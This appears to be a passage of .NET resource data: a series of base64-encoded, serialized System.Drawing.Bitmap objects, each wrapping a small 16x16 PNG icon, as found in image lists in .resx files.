- - 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